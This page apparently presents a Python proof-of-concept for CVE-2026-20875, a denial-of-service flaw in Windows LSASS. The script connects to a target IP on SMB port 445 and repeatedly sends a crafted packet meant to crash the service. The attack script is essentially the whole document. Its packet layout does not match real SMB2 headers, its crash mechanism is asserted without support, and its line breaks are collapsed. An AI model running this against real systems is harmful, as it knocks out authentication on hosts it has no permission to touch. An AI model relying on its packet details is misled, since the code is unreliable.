CVE-2026-20875 Windows LSASS空指针解引用拒绝服务漏洞

# CVE-2026-20875 PoC - Windows LSASS DoS # Target: Windows systems with vulnerable LSASS # Note: For authorized security testing only import socket import struct import time def create_malicious_smb_packet(): """Craft malicious SMB packet to trigger LSASS vulnerability""" # SMB2 Header packet = b'\xfeSMB' # SMB2 Protocol ID packet += struct.pack('<H', 0x003C) # Header Length packet += struct.pack('<H', 0x0001) # Credit Request packet += struct.pack('<I', 0x00000000) # Status packet += struct.pack('<H', 0x0000) # Command packet += struct.pack('<H', 0x0000) # Credits packet += struct.pack('<I', 0x00000000) # Flags packet += struct.pack('<Q', 0x0000000000000000) # NextCommand packet += struct.pack('<Q', 0x0000000000000000) # MessageId packet += struct.pack('<I', 0x00000000) # AsyncId packet += struct.pack('<Q', 0x0000000000000000) # SessionId # Malformed security blob to trigger null pointer packet += b'\x00' * 64 # Padding to cause null dereference return packet def exploit_cve_2026_20875(target_ip, port=445): """Send malicious packet to trigger LSASS vulnerability""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, port)) print(f"[*] Connected to {target_ip}:{port}") # Send SMB negotiate request packet = create_malicious_smb_packet() sock.send(packet) print("[*] Malicious packet sent") # Send multiple packets to ensure crash for i in range(10): sock.send(packet) time.sleep(0.5) print("[+] DoS attack completed") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-20875-poc.py <target_ip>") sys.exit(1) exploit_cve_2026_20875(sys.argv[1])